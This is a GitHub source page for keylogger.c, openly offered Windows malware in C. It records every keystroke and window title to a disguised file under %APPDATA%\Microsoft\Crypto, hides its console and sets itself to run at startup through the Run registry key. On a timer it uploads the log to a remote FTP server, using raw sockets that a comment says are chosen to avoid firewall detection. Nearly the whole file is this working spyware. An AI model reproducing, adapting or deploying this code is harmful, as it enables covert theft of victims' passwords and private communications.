-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathkeylogger.c
393 lines (310 loc) · 12.2 KB
/
keylogger.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* *
* file: keylogger.c *
* *
* purpose: a tiny keylogger with ftp upload. *
* *
* usage: + copy config.def.h to config.h and edit *
* + compile (with MinGW): *
* $ gcc.exe keylogger.c -lwsock32 -o <name.exe> -s -Os *
* + copy <name.exe> to host *
* + run it and ... profit :) *
* *
* coded by: chinarulezzz, <[email protected]> *
* *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* *
* NOTE: *
* from WinXP log file is coming in CP1251 encoding *
* from Win7-Win8 in UTF-16LE *
* *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
#include <windows.h>
#include <winuser.h>
#include <windowsx.h>
#include <winsock.h>
#include <process.h>
#include <locale.h>
#include <time.h>
#include <stdio.h>
#include "config.h"
#define AUTORUN "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
#define APPDATA "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"
#define BUFSIZE 255
/* Full file path and name to the current executable */
wchar_t exeLocation[BUFSIZE];
/* Save log to %APPDATA%\Microsoft\Crypto directory */
wchar_t logLocation[BUFSIZE];
/* Store window title */
wchar_t prevWindowText[BUFSIZE];
/* The function that implements the key logging functionality */
LRESULT CALLBACK
LowLevelKeyboardProc (int nCode, WPARAM wParam, LPARAM lParam)
{
/* Declare a pointer to the KBDLLHOOKSTRUCT */
KBDLLHOOKSTRUCT *pKeyboard = (KBDLLHOOKSTRUCT *) lParam;
/* Open log file */
FILE *logFile = _wfopen (logLocation, L"a+, ccs=UTF-16LE");
if (logFile == NULL)
{
perror ("_wfopen in LowLevelKeyboardProc");
/* Critical error: we really need to have log file */
exit (1);
}
if (wParam == WM_KEYUP) /* When the key has been pressed and released */
{
HWND current_window = GetForegroundWindow ();
/* If current window have title */
if (GetWindowTextLength (current_window))
{
/* Get current title */
wchar_t currWindowText[BUFSIZE];
GetWindowTextW (current_window, currWindowText, BUFSIZE);
/* If it differs from the previous */
if (wcscmp (prevWindowText, currWindowText) != 0)
{
time_t now;
time (&now);
struct tm *timeinfo = localtime (&now);
wchar_t dateTime[18];
wcsftime (dateTime, 18, L"%H:%M:%S %m/%d/%y", timeinfo);
/* Write current window title and date time to log */
fwprintf (logFile, L"\n\n\n[%ls %s]\n", dateTime,
currWindowText);
}
/* Store current window title */
wcscpy (prevWindowText, currWindowText);
}
/* Get the keyboard layout, code and state */
HKL current_layout =
GetKeyboardLayout (GetWindowThreadProcessId (current_window, NULL));
BYTE code = (unsigned char) pKeyboard->vkCode;
BYTE keystate[BUFSIZE];
GetKeyboardState (keystate);
keystate[VK_SHIFT] = GetKeyState (VK_SHIFT);
keystate[VK_CAPITAL] = GetKeyState (VK_CAPITAL);
keystate[VK_CONTROL] = GetKeyState (VK_CONTROL);
/* keystate[VK_MENU] = GetKeyState(VK_MENU); */
wchar_t wcode[2] = { '\0' };
ToUnicodeEx (code, pKeyboard->scanCode, keystate, wcode, 1, 0,
current_layout);
/* Write current key code to log */
fwprintf (logFile, L"%s", wcode);
}
fclose (logFile);
return CallNextHookEx (NULL, nCode, wParam, lParam);
}
/*
* This function is called by timer for sending a log file to ftp server.
* Is used low-level sockets instead of wininet library, because
* usage if wininet is detected by windows firewall (e.g. at win7).
*/
unsigned CALLBACK
send2ftp (void *arg)
{
HANDLE timer = (HANDLE) arg;
while (1)
{
WaitForSingleObject (timer, INFINITE);
WSADATA ws;
if (WSAStartup (0x101, &ws) != NO_ERROR)
{
fprintf (stderr, "WSAStartup: %d\n", WSAGetLastError ());
continue; /* It is not critical error, try another time */
}
/* Open up a socket for out tcp/ip session */
SOCKET sock = socket (AF_INET, SOCK_STREAM, 0);
/* Set up socket info */
struct sockaddr_in a;
a.sin_family = AF_INET;
a.sin_port = htons (PORT);
/* Get the ip address for our ftp */
struct hostent *h;
if ((h = gethostbyname (SERVER)) == NULL)
{
fprintf (stderr, "gethostbyname: %d\n", WSAGetLastError ());
continue;
}
a.sin_addr.s_addr =
inet_addr (inet_ntoa (*((struct in_addr *) h->h_addr)));
/* Actually connect to the server */
if (connect (sock, (struct sockaddr *) &a, sizeof (a)) == SOCKET_ERROR)
{
fprintf (stderr, "connect to sock: %d\n", WSAGetLastError ());
continue;
}
/* Need more that 256 bytes for receive server responds */
char buf[BUFSIZE * 2] = { '\0' };
if (recv (sock, buf, sizeof (buf), 0) == SOCKET_ERROR)
{
fprintf (stderr, "recv from sock: %d\n", WSAGetLastError ());
continue;
}
/* Login */
sprintf (buf, "USER %s\r\n", USERNAME);
send (sock, buf, strlen (buf), 0);
recv (sock, buf, sizeof (buf), 0);
/* Password */
sprintf (buf, "PASS %s\r\n", PASSWORD);
send (sock, buf, strlen (buf), 0);
recv (sock, buf, sizeof (buf), 0);
/* Transferring file as a binary stream of data instead of text */
sprintf (buf, "TYPE I\r\n");
send (sock, buf, strlen (buf), 0);
recv (sock, buf, sizeof (buf), 0);
/* Tells the server to enter "passive mode" */
sprintf (buf, "PASV\r\n");
send (sock, buf, strlen (buf), 0);
memset (buf, 0, sizeof (buf));
recv (sock, buf, sizeof (buf), 0);
/*
* So our string is in buf, which is for example:
* "227 Entering Passive Mode (216,92,6,187,194,13)"
* Lets extract the string "216,92,6,187,194,13"
*/
char szIP[40];
char *start = strchr (buf, '(');
char *end = strchr (buf, ')');
int num = end - start;
char str[30] = { '\0' };
strncpy (str, start + 1, num - 1);
/* str now contains "216,92,6,187,194,13" */
char *token = strtok (str, ",");
/* Lets break the string up using the ',' character as a separator
* and get the ip address from the string
*/
strcpy (szIP, "");
strcat (szIP, token);
strcat (szIP, "."); /* szIP contains "216." */
token = strtok (NULL, ",");
strcat (szIP, token);
strcat (szIP, "."); /* szIP contains "216.92." */
token = strtok (NULL, ",");
strcat (szIP, token);
strcat (szIP, "."); /* szIP contains "216.92.6" */
token = strtok (NULL, ",");
strcat (szIP, token); /* szIP contains "216.92.6.187" */
/* Now lets get the port number */
token = strtok (NULL, ",");
int port = atoi (token) * 256; /* 194 * 256 */
token = strtok (NULL, ",");
port += atoi (token); /* + 13 */
/* Open up a socket for passive transfer session */
SOCKET pasv = socket (AF_INET, SOCK_STREAM, 0);
/* Set up socket info */
struct sockaddr_in b;
b.sin_family = AF_INET;
b.sin_port = htons (port);
b.sin_addr.s_addr = inet_addr (szIP);
/* Entering passive mode connection */
if (connect (pasv, (struct sockaddr *) &b, sizeof (b)) == SOCKET_ERROR)
{
fprintf (stderr, "connect to pasv: %d\n", WSAGetLastError ());
continue;
}
/* Begins transmission of a file to the remote site.
* Remote file name is "MACHINE.UNIX_TIMESTAMP"
*/
sprintf (buf, "STOR %s.%i\r\n", MACHINE, (int) time (NULL));
send (sock, buf, strlen (buf), 0);
recv (sock, buf, sizeof (buf), 0);
/* Log file being sent by piecemeal */
FILE *logFile = _wfopen (logLocation, L"r, ccs=UTF-16LE");
if (logFile == NULL)
{
perror ("_wfopen in send2ftp");
continue;
}
/* We use "fread() != 0" instead of "!feof()" because log file
* may contain more than one EOF character
*/
while (fread (buf, 1, sizeof (buf), logFile) != 0)
{
send (pasv, buf, sizeof (buf), 0);
memset (buf, 0, sizeof (buf));
Sleep (1000); /* 1 sec. delay */
}
fclose (logFile);
closesocket (sock);
closesocket (pasv);
WSACleanup ();
} /* end while */
}
int
main (int argc, char **argv)
{
/* Allocates a new console for the calling process */
AllocConsole ();
/* Create stealth (window is not visible) */
HWND stealth = FindWindowA ("ConsoleWindowClass", NULL);
#ifndef DEBUG
ShowWindow (stealth, 0);
#endif
setlocale (LC_CTYPE, "");
/* Get current executable path to `exeLocation` */
mbstowcs (exeLocation, argv[0], strlen (argv[0]) + 1);
/* Get %AppData% path from registry and save to `logLocation` */
HKEY hk;
DWORD dwSize = MAX_PATH;
DWORD dwRet;
dwRet = RegOpenKeyEx (HKEY_CURRENT_USER, APPDATA, 0, KEY_QUERY_VALUE, &hk);
if (dwRet == ERROR_SUCCESS)
{
dwRet =
RegQueryValueExW (hk, L"AppData", NULL, NULL, (LPSTR) logLocation,
&dwSize);
if (dwRet != ERROR_SUCCESS)
{
fprintf (stderr, "RegQueryValueEx: %d\n", dwRet);
exit (1); /* critical error: logLocation is not defined */
}
}
else
{
fprintf (stderr, "RegOpenKeyEx: %d\n", dwRet);
exit (1); /* critical error: logLocation is not defined */
}
wcscat (logLocation, L"\\Microsoft\\Crypto\\");
wcscat (logLocation, LOG_FILE);
/* Run keylogger with Windows start */
dwRet = RegCreateKey (HKEY_CURRENT_USER, AUTORUN, &hk);
if (dwRet == ERROR_SUCCESS)
RegSetValueExW (hk, NAME, 0, REG_SZ, (LPSTR) exeLocation, MAX_PATH);
else
{
fprintf (stderr, "RegCreateKey: %d\n", dwRet);
exit (1); /* critical error: unable to set autorun key */
}
RegCloseKey (hk);
/* Create timer for ftp upload procedure */
HANDLE timer = CreateWaitableTimer (0, 0, 0);
/* Set the event the first time 30 seconds */
LARGE_INTEGER li;
li.QuadPart = -(30 * 10 * 1000 * 1000);
/* After calling SetWaitableTimer set timer at `SEND_LOG_PERIOD` */
if (! SetWaitableTimer (timer, &li, SEND_LOG_PERIOD, 0, 0, 0))
{
fprintf (stderr, "CreateWaitableTimer failed: %d\n", GetLastError ());
exit (1); /* Critical error */
}
/* Run ftp upload in background thread.
*
* NOTE:
* Why we use _beginthreadex instead of CreateThread function you
* can see at http://www.mingw.org/wiki/Use_the_thread_library
*/
if (_beginthreadex (0, 0, send2ftp, (void *) timer, 0, 0) == 0)
{
perror ("_beginthreadex failed");
exit (1); /* Critical error */
}
/* Retrieve the application instance */
HINSTANCE instance = GetModuleHandle (NULL);
/* Set a global hook to capture keystrokes */
SetWindowsHookEx (WH_KEYBOARD_LL, LowLevelKeyboardProc, instance, 0);
MSG msg;
while (1) /* Wait forever */
while (GetMessage (&msg, NULL, 0, 0))
DispatchMessage (&msg);
}
/* EOF */